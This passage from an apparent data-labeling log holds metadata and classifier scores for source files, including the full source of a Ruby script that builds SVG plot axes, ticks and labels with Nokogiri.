"normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000004, "mass_delta": 4.440892098500626e-16, "missing_mass": 0.0, "excess_mass": 4.440892098500626e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9741, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9741, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:18.543088+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "31daf787-bdad-4260-9fbb-1a6edb16392f", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "6f082bcc6c89695c44172d923e3fce5f8e447f3009d378e314653707b4da2c4a", "source_metadata": {"uuid": "31daf787-bdad-4260-9fbb-1a6edb16392f", "repo_name": "bosskovic/fungiorbis_pure_rails", "relative_path": "app/controllers/admin/characteristics_controller.rb", "category": "WEB", "algo_rel_score": 0.9662078619003296, "quality_score": 6.273663520812988, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 183, "repo_created_at": "2015-05-09T15:50:23.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5335f699ac4f44a1ce48e2067412e5878a37dfcb", "size_bytes": 5048, "file_timestamp": 1512123677, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "be0d7f02fc46f9357b6f4ccbdc6969215b661ac3"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 183, "repo_created_at": "2015-05-09T15:50:23.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5335f699ac4f44a1ce48e2067412e5878a37dfcb", "size_bytes": 5048, "file_timestamp": 1512123677, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "be0d7f02fc46f9357b6f4ccbdc6969215b661ac3", "url": "https://github.com/bosskovic/fungiorbis_pure_rails/blob/be0d7f02fc46f9357b6f4ccbdc6969215b661ac3/app/controllers/admin/characteristics_controller.rb"}, "gpt4o_tokens": 1202, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7900288314073792, "noise_severity": 0.00652796471251155, "missing_content_severity": 0.017637181459152076, "factual_density": 3.3344970193690933, "pretraining_utility": 0.34210355399582215, "math_density": 0.008392211398569032, "code_density": 3.9125589774763645, "reasoning_density": 0.23401577736936205, "education_level": 2.3758507864935487, "creative_writing_quality": -0.33364669963864135}, "score_applicability": {"education_level": 0.9985087258442739, "creative_writing_quality": 0.0006168600295609294}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/richardeoin/svg-plot-gen/blob/3205416884d475436e6243b4ffe6f143ab28e6f7/lib/svg_plot_gen.rb", "id": "ruby-0-036b092eeea8340c1693628c4935beaa", "text": "# 2013\n# Generates the SVG for a graph\n\nrequire 'nokogiri'\nrequire 'color'\nrequire 'trollop'\n\n# A little overload for float that turns whole number floats (like 5.0) into integers.\nclass Float\n\tdef whole_to_i\n\t\tto_i == self ? to_i : self\n\tend\nend\n\nclass Svg_Plot_Gen\n\tdef self.gen\n\t\t# Command line options\n\t\topts = Trollop::options do\n\t\t\topt :template, \"Output a template SVG file that contains [SPLIT] markers where a path and display attribute can be inserted. See README.md\", :default => false\n\t\t\topt :width, \"The width of the output plot in pixels\", :default => 960\n\t\t\topt :height, \"The height of the output plot in pixels\", :default => 380\n\t\t\topt :y_first, \"Sets the value at which the y axis starts\", :default => 0.to_f\n\t\t\topt :y_step, \"Sets the height of each division on the y axis\", :default => 1.to_f\n\t\t\topt :y_last, \"Sets the value at which the y axis ends\", :default => 5.to_f\n\t\t\topt :log, \"Sets the y axis to a logarithmic scale. `y_first` and `y_last` now refer to powers of 10\", :default => false\n\t\t\topt :x_text, \"The x-axis label\", :default => 'x-axis'\n\t\t\topt :y_text, \"The y-axis label\", :default => 'y-axis'\n\t\t\topt :cursor_line, \"Adds a vertical line that follows the cursor to the graph\", :default => false\n\t\t\topt :x_margin, \"The distance that is left between the edge of the image and the x-axis\", :default => 70\n\t\t\topt :y_margin, \"The distance that is left between the edge of the image and the y-axis\", :default => 100\n\t\t\topt :margins, \"The distance that is left between the edge of the image and the plot on sides that do not have labels\", :default => 25\n\t\t\topt :long_tick_len, \"The length of the long ticks on the graph\", :default => 10\n\t\t\topt :short_tick_len, \"The length of the short ticks on the graph\", :default => 5\n\t\t\topt :font_size, \"The size of font used for the plot\", :default => 12\n\t\t\topt :label_font_size, \"The size of font used for the axis labels\", :default => 14\n\t\tend\n\n\t\taxis_padding = 6\n\n\t\t# Define the solarized colours\n\t\tbase03 = Color::RGB.from_html('002b36')\n\t\tbase02 = Color::RGB.from_html('073642')\n\t\tbase01 = Color::RGB.from_html('586e75')\n\t\tbase00 = Color::RGB.from_html('657b83')\n\t\tbase0 = Color::RGB.from_html('839496')\n\t\tbase1 = Color::RGB.from_html('93a1a1')\n\t\tbase2 = Color::RGB.from_html('eee8d5')\n\t\tbase3 = Color::RGB.from_html('fdf6e3')\n\t\tyellow = Color::RGB.from_html('b58900')\n\t\torange = Color::RGB.from_html('cb4b16')\n\t\tred = Color::RGB.from_html('dc322f')\n\t\tmagenta = Color::RGB.from_html('d33682')\n\t\tviolet = Color::RGB.from_html('6c71c4')\n\t\tblue = Color::RGB.from_html('268bd2')\n\t\tcyan = Color::RGB.from_html('2aa198')\n\t\tgreen = Color::RGB.from_html('859900')\n\n\t\t# Calculate the coordinates for the actual graph itself\n\t\txstart = opts.y_margin\n\t\txend = opts.width - opts.margins\n\t\txlen = xend - xstart\n\t\tystart = opts.margins\n\t\tyend = opts.height - opts.x_margin\n\t\tylen = yend - ystart\n\n\t\t# Read in the CSS for our font\n\t\tfont_css = File.read(File.dirname(__FILE__) + '/font.css')\n\n\t\tif opts.cursor_line\n\t\t\t# Load in the javascript for the cursor line script\n\t\t\tcursor_line_js = File.read(File.dirname(__FILE__) + '/cursor_line.js')\n\t\t\t# Replace the [XSTART] and [XEND] placeholders in the javascript\n\t\t\tcursor_line_js = cursor_line_js.gsub(/\\[XSTART\\]/, xstart.to_s).gsub(/\\[XEND\\]/, xend.to_s)\n\t\tend\n\n\t\t# Set the template marker if specified\n\t\tif opts.template\n\t\t\t# Put in a split marker when the data actully goes\n\t\t\tplot = '[SPLIT]'\n\t\t\tno_data_display = '[SPLIT]'\n\t\telse\n\t\t\tplot = ''\n\t\t\tno_data_display = 'none'\n\t\tend\n\n\t\t# Work out the x-positions of our vertical lines and ticks\n\t\txlines_step = xlen.to_f / 24\n\t\txlines = Hash[(xstart..xend).step(xlines_step).map { |x| x.round(1) }.zip((0..24).map { |x| (x%2 == 0) })]\n\t\t# Build up our x-axis labels for a 24 hour period\n\t\txlabels = (0..24).step(2).map { |hour| [['00', (hour%24).to_s].join[-2..-1], ':00'].join }.zip(xlines.select { |k, v| v }.map { |k, v| k })\n\n\t\ty_range = (opts.y_first..opts.y_last).step(opts.y_step)\n\n\t\t# Generates the values for a logarithmic scale\n\t\tif opts.log\n\t\t\t# Work out the y-positions of the horizonal lines and ticks\n\t\t\tylines = Hash[y_range\n\t\t\t\t.map { |y| (y < opts.y_last ?\n\t\t\t\t\t\t[1, 2.5, 5, 7.5].map { |i| i*opts.y_step } :\n\t\t\t\t\t\t[1])\n\t\t\t\t\t.map { |m| [Math.log10((10**y)*m), m==1] } }\n\t\t\t\t.flatten(1)\n\t\t\t\t.map { |y| [(yend - (y[0] - opts.y_first)*(ylen.to_f/(opts.y_last - opts.y_first))).round(1), y[1]] }]\n\t\t\t# Build up our y-axis labels\n\t\t\tylabels = y_range\n\t\t\t\t.map{ |i| 10**i }\n\t\t\t\t.map{ |i| i <= 10000 ? (\"%d\" % i) : (\"%.0e\" % i) }\n\t\t\t\t.zip(ylines\n\t\t\t\t\t.select { |k ,v| v } # Select only major ticks\n\t\t\t\t\t.map { |k, v| k })\n\t\telse # Generate the values for a linear scale\n\t\t\t# Work out the y-positions of the horizonal lines and ticks\n\t\t\tylines = Hash[y_range\n\t\t\t\t.map { |y| (y < opts.y_last ?\n\t\t\t\t\t\t[0, 0.25, 0.5, 0.75].map { |i| i*opts.y_step } :\n\t\t\t\t\t\t[0])\n\t\t\t\t\t.map { |m| [y+m, m==0] } }\n\t\t\t\t.flatten(1)\n\t\t\t\t.map { |y| [(yend - (y[0] - opts.y_first)*(ylen.to_f/(opts.y_last - opts.y_first))).round(1), y[1]] }]\n\t\t\t# Build up our y-axis labels\n\t\t\tylabels = y_range\n\t\t\t\t.map{ |i| i.whole_to_i }\n\t\t\t\t.zip(ylines\n\t\t\t\t\t.select { |k, v| v } # Select only major ticks\n\t\t\t\t\t.map { |k, v| k })\n\t\tend\n\n\t\t# Output some useful info about the plot we're generating to stderr\n\t\t$stderr.puts [\"X Origin \", xstart].join\n\t\t$stderr.puts [\"Y Origin \", yend].join\n\t\t$stderr.puts [\"X Length \", xlen].join\n\t\t$stderr.puts [\"Y Length \", ylen].join\n\t\t$stderr.puts [\"Px per x division \", (xlen.to_f/12).round(2)].join\n\t\t$stderr.puts [\"Px per y division \", (ylen.to_f/(opts.y_last - opts.y_first)).round(2)].join\n\n\t\t# Create the XML object\n\t\tbuilder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n\t\t\txml.doc.create_internal_subset( # Create the DOCTYPE\n\t\t\t\t'svg',\n\t\t\t\t'-//W3C//DTD SVG 1.1//EN',\n\t\t\t\t'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'\n\t\t\t)\n\t\t\txml.svg(:viewbox => [0, 0, opts.width, opts.height].join(' '),\n\t\t\t\t:width => opts.width,\n\t\t\t\t:height => opts.height,\n\t\t\t\t:xmlns => \"http://www.w3.org/2000/svg\",\n\t\t\t\t'xmlns:xlink' => \"http://www.w3.org/1999/xlink\",\n\t\t\t\t:onmousemove => \"on_mouse_move(event)\",\n\t\t\t\t:style => \"font-family: 'Exo'\") do\n\t\t\t\t# Font\n\t\t\t\txml.defs do\n\t\t\t\t\txml.style(:type => 'text/css') do\n\t\t\t\t\t\txml.cdata(font_css)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif opts.cursor_line\n\t\t\t\t\t# Cursor Line Script\n\t\t\t\t\txml.script(:type => 'text/javascript') do\n\t\t\t\t\t\txml.cdata(cursor_line_js)\n\t\t\t\t\tend\n\t\t\t\t\t# The cursor line itself\n\t\t\t\t\txml.path(:id => 'cursor_line',\n\t\t\t\t\t\t:d => ['M0,', ystart, 'l0,', ylen].join,\n\t\t\t\t\t\t:stroke => orange.html,\n\t\t\t\t\t\t'stroke-width' => '1.5',\n\t\t\t\t\t\t:display => 'none')\n\t\t\t\tend\n\t\t\t\t# X-Axis - Vertical Lines\n\t\t\t\txml.g(:style => \"color:grey\",\n\t\t\t\t\t:stroke => \"currentColor\",\n\t\t\t\t\t:transform => ['translate(0,', ystart, ')'].join) do\n\n\t\t\t\t\txlines.each do |x, tl|\n\t\t\t\t\t\txml.path(:d => ['m', x, ' 0v', ylen].join)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# X-Axis - Ticks\n\t\t\t\txml.g(:style => \"color:black\",\n\t\t\t\t\t:stroke => \"currentColor\",\n\t\t\t\t\t:transform => ['translate(0,', ystart, ')'].join) do\n\n\t\t\t\t\txlines.each do |x, mm|\n\t\t\t\t\t\ttl = mm ? opts.long_tick_len : opts.short_tick_len # The tick length to set based on if the division is a major one\n\t\t\t\t\t\txml.path(:d => ['m', x, ' 0v', tl, 'm0 ', ylen-(2*tl), 'v', tl].join)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# X-Axis - Labels\n\t\t\t\txml.g(:style => 'text-anchor:middle',\n\t\t\t\t\t:stroke => 'none',\n\t\t\t\t\t:transform => ['translate(0,', yend+2*opts.font_size, ')'].join,\n\t\t\t\t\t'font-size' => [opts.font_size, 'pt'].join,\n\t\t\t\t\t:fill => \"#000\") do\n\n\t\t\t\t\txlabels.each do |label|\n\t\t \t\t\t\txml.g(:transform => ['translate(', label[1], ')'].join) do\n\t\t \t\t\t\t\txml.text_ label[0]\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t\t\tend\n\t\t\t\t# X-Axis Text Label\n\t\t\t\txml.g(:style => 'text-anchor: middle',\n\t\t\t\t\t:transform => ['translate(', xstart + xlen/2, ' ', opts.height - (opts.margins - opts.font_size), ')'].join,\n\t\t\t\t\t'font-size' => [opts.label_font_size, 'pt'].join,\n\t\t\t\t\t:fill => '#000') do\n\n\t\t\t\t\txml.text_ opts.x_text\n\t\t\t\tend\n\t\t\t\t# Y-Axis - Horizontal Lines\n\t\t\t\txml.g(:style => \"color:grey\",\n\t\t\t\t\t:stroke => \"currentColor\",\n\t\t\t\t\t:transform => ['translate(', xstart, ',0)'].join) do\n\n\t\t\t\t\tylines.each do |y, mm|\n\t\t\t\t\t\tif mm # Only draw lines for major divisions\n\t\t\t\t\t\t\txml.path(:d => ['m0 ', y, 'h', xlen].join)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# Y-Axis - Ticks\n\t\t\t\txml.g(:style => \"color:black\",\n\t\t\t\t\t:stroke => \"currentColor\",\n\t\t\t\t\t:transform => ['translate(', xstart, ',0)'].join) do\n\n\t\t\t\t\tylines.each do |y, mm|\n\t\t\t\t\t\ttl = mm ? opts.long_tick_len : opts.short_tick_len # The tick length to set based on if the division is a major one\n\t\t\t\t\t\txml.path(:d => ['m0 ', y, 'h', tl, 'm', xlen-(2*tl), ' 0h', tl].join)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# Y-Axis - Labels\n\t\t\t\txml.g(:style => 'text-anchor:end',\n\t\t\t\t\t:stroke => 'none',\n\t\t\t\t\t:transform => ['translate(', xstart-axis_padding, ',0)'].join,\n\t\t\t\t\t'font-size' => [opts.font_size, 'pt'].join,\n\t\t\t\t\t:fill => \"#000\") do\n\n\t\t\t\t\tylabels.each do |label|\n\t\t \t\t\t\txml.g(:transform => ['translate(0,', label[1]+(opts.font_size/2), ')'].join) do\n\t\t \t\t\t\t\txml.text_ label[0]\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t\t\tend\n\t\t\t\t# Y-Axis text label\n\t\t\t\txml.g(:style => 'text-anchor:middle',\n\t\t\t\t\t:transform => ['translate(', opts.margins, ' ', ystart + ylen/2, ') rotate(-90)'].join,\n\t\t\t\t\t'font-size' => [opts.label_font_size, 'pt'].join,\n\t\t\t\t\t:fill => '#000') do\n\n\t\t \t\t\txml.text_ opts.y_text\n\t\t\t\tend\n\t\t\t\t# Bounding Box\n\t\t\t\txml.g(:stroke => \"#333\",\n\t\t\t\t\t:fill => \"none\") do\n\t\t\t\t\txml.path(:d => ['m', xstart, ' ', ystart, 'v', ylen, 'h', xlen, 'v', -ylen , 'h', -xlen, 'z'].join)\n\t\t\t\tend\n\t\t\t\t# Plots\n\t\t\t\t#xml.g(:transform => ['translate(', xstart, ',', yend, ') scale(', 1000.to_f/xlen, ',', -(1000.to_f/ylen), ')'].join) do\n\t\t\t\txml.g(:transform => ['translate(', xstart, ',', yend, ') scale(1, -1)'].join) do\n\t\t\t\t\txml.a('xlink:title' => 'Plot #1') do\n\t\t\t\t\t\txml.g('stroke-width' => 1.4,\n\t\t\t\t\t\t\t'stroke-linejoin' => 'bevel',\n\t\t\t\t\t\t\t:fill => 'none') do\n\t\t\t\t\t\t\txml.path(:stroke => red.html, :d => plot)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# No data marker\n\t\t\t\txml.g(:style => 'text-anchor:middle',\n\t\t\t\t\t:stroke => red.html,\n\t\t\t\t\t:transform => ['translate(', xstart + xlen/2, ',', ystart + ylen/2, ')'].join,\n\t\t\t\t\t'font-size' => [opts.label_font_size+16, 'pt'].join,\n\t\t\t\t\t:display => no_data_display,\n\t\t\t\t\t:fill => red.html) do\n\n\t\t\t\t\txml.text_ 'No Data Found'\n\t\t\t\tend\n\t\t\t\t# An invisible rectangle to stop the final graph being highlighted and so on\n\t\t\t\txml.rect(:x => 0, :y => 0,\n\t\t\t\t\t:width => opts.width,\n\t\t\t\t\t:height => opts.height,\n\t\t\t\t\t:fill => 'white',\n\t\t\t\t\t'fill-opacity' => 0,\n\t\t\t\t\t:stroke => 'none',\n\t\t\t\t\t'stroke-width' => 0,\n\t\t\t\t\t:onclick => 'null_handler')\n\t\t\tend\n\n\t\tend\n\t\t# Output the XML\n\t\tputs builder.to_xml\n\tend\nend\n", "text_preview": "# 2013 # Generates the SVG for a graph require 'nokogiri' require 'color' require 'trollop' # A little overload for float that turns whole number floats (like 5.0) into integers. class Float def whole_to_i to_i == self ? to_i : self ", "input_sha256": "c5de06aa63dd537dd3ceccfe58b527d8481e805cf0bc89576bc5c4a7ebf27012", "text_sha256": "036b092eeea8340c1693628c4935beaa60ab28299aeccbdbe4b83b34c7015dba", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16031, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 2, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.043051075536867, "noise_severity": 0.06566578634661921, "missing_content_severity": 0.06643310384400929, "factual_density": 3.2320033674552002, "pretraining_utility": 0.5373307430180738, "math_density": 2.156069913043991, "code_density": 3.9163148601318216, "reasoning_density": 0.5100136779023293, "education_level": 2.211437105933804, "creative_writing_quality": -0.18999896766889843}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004606177777330052, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.994793752411624, "secondary": 0.9130494112576859, "tertiary": 0.9091366954913066, "structured_records": 0.03649105014769684, "procedural_steps": 0.014770037142779134, "worked_solution": 0.01019803580424044, "contextual_dialogue": 7.928543627338044e-06, "content_quality": 0.5487974940992132, "noise_severity": 0.9452785113778173, "missing_content_severity": 0.9446390801299922, "factual_density": 0.3600028062126669, "pretraining_utility": 0.47048138448481247, "math_density": 0.2780747927750452, "code_density": 0.9302623834431842, "reasoning_density": 0.5749886017480589, "education_level": 0.707726444281175, "creative_writing_quality": 0.9988846738369137, "primary_topic": 0.9728734779381797, "secondary_topic": 0.6515896354595447}, "probability_margin": {"primary": 0.9927072043060018, "secondary": 0.8762708990926164, "tertiary": 0.873482585528316, "education_level": 0.5572454083512993, "creative_writing_quality": 0.9985790878221129, "primary_topic": 0.9602355453224417, "secondary_topic": 0.4654635345577466}, "raw_probabilities": {"primary": {"Academic Writing": 4.4850457109879305e-05, "Content Listing": 2.344752979719474e-05, "Creative Writing": 2.1114221244655786e-05, "Customer Support Page": 1.3032027915014804e-05, "Q&A Forum": 1.4440686710662102e-05, "Discussion Thread": 1.0437828827836789e-05, "Comment Section": 2.3268598814568445e-05, "Missing Content": 4.959942904961693e-05, "Knowledge Article": 0.00013306778650108158, "Legal Notices": 5.8203600779706696e-05, "News Article": 6.317796287952403e-06, "Organizational Announcement": 1.5499629764034007e-05, "Nonfiction Writing": 1.6126728032663338e-05, "Organizational About Page": 1.8342927569133456e-05, "Personal About Page": 2.495347031603208e-05, "Personal Blog": 9.991111470549645e-06, "Product Page": 1.219658353476316e-05, "Spam / Ads": 1.3208469487873547e-05, "Structured Data": 0.0023034750884713155, "Technical Writing": 0.9950106793944731, "Transcript / Interview": 1.9667897045222188e-05, "Tutorial / How-To Guide": 0.0005682544946361532, "User Reviews": 1.0136261229650374e-05, "Other / Unknown": 0.0015796879809314099}, "secondary": {"Academic Writing": 0.0004013577879464722, "Content Listing": 0.00023677930999871182, "Creative Writing": 0.00044729393153998683, "Customer Support Page": 0.00022135719449831802, "Q&A Forum": 0.0001498409181291245, "Discussion Thread": 0.00013020627103115767, "Comment Section": 0.000340439408389431, "Missing Content": 0.001346944956570688, "Knowledge Article": 0.001755630290108138, "Legal Notices": 0.0017563972867801212, "News Article": 0.00024210396885447863, "Organizational Announcement": 0.0002458606239189635, "Nonfiction Writing": 0.00024213294707488257, "Organizational About Page": 0.00026078732190675533, "Personal About Page": 0.00024797143113882016, "Personal Blog": 0.00020468513956303322, "Product Page": 0.00015391772558015035, "Spam / Ads": 0.00023975255108374646, "Structured Data": 0.040401453362666, "Technical Writing": 0.02905947463778809, "Transcript / Interview": 0.0002979570218660248, "Tutorial / How-To Guide": 0.004833670970436095, "User Reviews": 0.00011163248784860479, "NONE": 0.9166723524552823}, "tertiary": {"Academic Writing": 0.0003473642551300143, "Content Listing": 0.0002220216771211126, "Creative Writing": 0.0004363716475790794, "Customer Support Page": 0.00022225704089519292, "Q&A Forum": 0.00012229343946178458, "Discussion Thread": 0.00011637103875777612, "Comment Section": 0.0004102961814713579, "Missing Content": 0.0017535737147002892, "Knowledge Article": 0.0023904775785245067, "Legal Notices": 0.0063625750641101726, "News Article": 0.00020915457650060872, "Organizational Announcement": 0.0002812195192714499, "Nonfiction Writing": 0.00034192082415452236, "Organizational About Page": 0.00029263726289655267, "Personal About Page": 0.00026828985096057, "Personal Blog": 0.00022206593443317563, "Product Page": 0.00015864994838549583, "Spam / Ads": 0.00027080310399868327, "Structured Data": 0.03944008098418616, "Technical Writing": 0.028001098721691358, "Transcript / Interview": 0.0002608863158246376, "Tutorial / How-To Guide": 0.004846417381923298, "User Reviews": 0.00010050742551993016, "NONE": 0.9129226665125022}, "structured_records": {"false": 0.9635089498523032, "true": 0.03649105014769684}, "procedural_steps": {"false": 0.9852299628572209, "true": 0.014770037142779134}, "worked_solution": {"false": 0.9898019641957596, "true": 0.01019803580424044}, "contextual_dialogue": {"false": 0.9999920714563727, "true": 7.928543627338044e-06}, "content_quality": {"-2": 0.004794498747651155, "-1": 0.020113945726371443, "0": 0.19458457807634225, "1": 0.48825993614072966, "2": 0.29224704130890555}, "noise_severity": {"0": 0.9401380167875358, "1": 0.05612928996889088, "2": 0.002247935262892426, "3": 0.0008984060707798973, "4": 0.0005863519099009455}, "missing_content_severity": {"0": 0.9553432903292834, "1": 0.02722347668273161, "2": 0.01380757207340553, "3": 0.002908160643850838, "4": 0.0007175002707285237}, "factual_density": {"0": 0.007317359316867859, "1": 0.02927781263020512, "2": 0.1334826891374654, "3": 0.3839283791117821, "4": 0.44599375980367945}, "pretraining_utility": {"-2": 0.008898581065805078, "-1": 0.07619454164826278, "0": 0.36996097130613476, "1": 0.4585693651616479, "2": 0.0863765408181494}, "math_density": {"0": 0.08034852022400628, "1": 0.1944231273649649, "2": 0.3521998746589356, "3": 0.2348668746472183, "4": 0.13816160310487502}, "code_density": {"0": 0.00018097279992283774, "1": 0.0003201226059467551, "2": 0.005974860124058128, "3": 0.07005116060253104, "4": 0.9234728838675413}, "reasoning_density": {"0": 0.7585868223632568, "1": 0.08489747281659447, "2": 0.07629650115384953, "3": 0.04835361188716143, "4": 0.03186559177913786}, "education_level": {"none": 0.0011320946802557416, "0": 0.0015071875190634416, "1": 0.02281287303354295, "2": 0.7564387035676459, "3": 0.19919329521634657, "4": 0.018915845983145482}, "creative_writing_quality": {"not_applicable": 0.9990705615307615, "-2": 8.444707851629423e-05, "-1": 0.00020075957699218518, "0": 0.0004914737086485161, "1": 0.0001124548258051022, "2": 4.0303279276306694e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.3106035417993024e-05, "Art & Design": 0.009927988279324588, "Law & Crime": 5.442727134667653e-05, "Education & Careers": 5.248968404124841e-05, "Entertainment & Media": 4.912496144048736e-05, "Fashion & Beauty": 4.221298283075598e-05, "Business, Economics & Finance": 0.0001387653181689512, "Food & Dining": 3.7579429193374736e-05, "Games & Gaming": 0.0001284600023904847, "Electronics & Hardware": 0.00010132434733754651, "Health, Healthcare & Wellness": 4.0185483813754626e-05, "History & Geography": 6.509011759117492e-05, "Home, Pets & Hobbies": 4.2205857865675815e-05, "Industry & Production": 4.474380407104996e-05, "Language, Literature & Philosophy": 4.820699254688831e-05, "Politics & Government": 2.4462264385219013e-05, "Religion & Spirituality": 3.284469899494853e-05, "Science, Mathematics & Engineering": 0.013681260387346357, "Relationships & Community": 2.4477794784677084e-05, "Software Usage & Applications": 0.0008267135936430916, "Programming & Software Engineering": 0.9739168057097881, "Sports & Fitness": 5.598162588131281e-05, "Vehicles & Transportation": 2.83220966984531e-05, "Travel & Tourism": 6.177740036406115e-05, "Other / Uncovered Subject": 0.000454464891897746, "Unknown / Insufficient Content": 6.697896883529353e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011422122791427058, "Art & Design": 0.19952649953796955, "Law & Crime": 0.0008111773342382769, "Education & Careers": 0.00047962681289698934, "Entertainment & Media": 0.0006948005072176471, "Fashion & Beauty": 0.00044532988742847305, "Business, Economics & Finance": 0.0009795347311901358, "Food & Dining": 0.0002928661034774043, "Games & Gaming": 0.0005608205071326179, "Electronics & Hardware": 0.0006167061082306819, "Health, Healthcare & Wellness": 0.0004929808522292883, "History & Geography": 0.0004428827212396937, "Home, Pets & Hobbies": 0.00039472012011065654, "Industry & Production": 0.0003087885820300199, "Language, Literature & Philosophy": 0.00029034932507275454, "Politics & Government": 0.0002968094425472377, "Religion & Spirituality": 0.00043698972749365536, "Science, Mathematics & Engineering": 0.08424772610887783, "Relationships & Community": 0.00022206771543195744, "Software Usage & Applications": 0.0032257760434345677, "Programming & Software Engineering": 0.03650468841214995, "Sports & Fitness": 0.00035734001269741944, "Vehicles & Transportation": 0.00020325577693006984, "Travel & Tourism": 0.0005509683367062111, "Other / Uncovered Subject": 0.0014850489184080413, "NONE": 0.6649900340957161}}, "probabilities": {"primary": {"Academic Writing": 4.4850457109879305e-05, "Content Listing": 2.344752979719474e-05, "Creative Writing": 2.1114221244655786e-05, "Customer Support Page": 1.3032027915014804e-05, "Q&A Forum": 1.4440686710662102e-05, "Discussion Thread": 1.0437828827836789e-05, "Comment Section": 2.3268598814568445e-05, "Missing Content": 4.959942904961693e-05, "Knowledge Article": 0.00013306778650108158, "Legal Notices": 5.8203600779706696e-05, "News Article": 6.317796287952403e-06, "Organizational Announcement": 1.5499629764034007e-05, "Nonfiction Writing": 1.6126728032663338e-05, "Organizational About Page": 1.8342927569133456e-05, "Personal About Page": 2.495347031603208e-05, "Personal Blog": 9.991111470549645e-06, "Product Page": 1.219658353476316e-05, "Spam / Ads": 1.3208469487873547e-05, "Structured Data": 0.0023034750884713155, "Technical Writing": 0.9950106793944731, "Transcript / Interview": 1.9667897045222188e-05, "Tutorial / How-To Guide": 0.0005682544946361532, "User Reviews": 1.0136261229650374e-05, "Other / Unknown": 0.0015796879809314099}, "secondary": {"Academic Writing": 0.0004013577879464721, "Content Listing": 0.00023677930999871176, "Creative Writing": 0.0004472939315399867, "Customer Support Page": 0.00022135719449831797, "Q&A Forum": 0.00014984091812912447, "Discussion Thread": 0.00013020627103115765, "Comment Section": 0.00034043940838943094, "Missing Content": 0.0013469449565706878, "Knowledge Article": 0.0017556302901081376, "Legal Notices": 0.0017563972867801207, "News Article": 0.00024210396885447857, "Organizational Announcement": 0.00024586062391896346, "Nonfiction Writing": 0.0002421329470748825, "Organizational About Page": 0.0002607873219067553, "Personal About Page": 0.0002479714311388201, "Personal Blog": 0.00020468513956303316, "Product Page": 0.00015391772558015032, "Spam / Ads": 0.0002397525510837464, 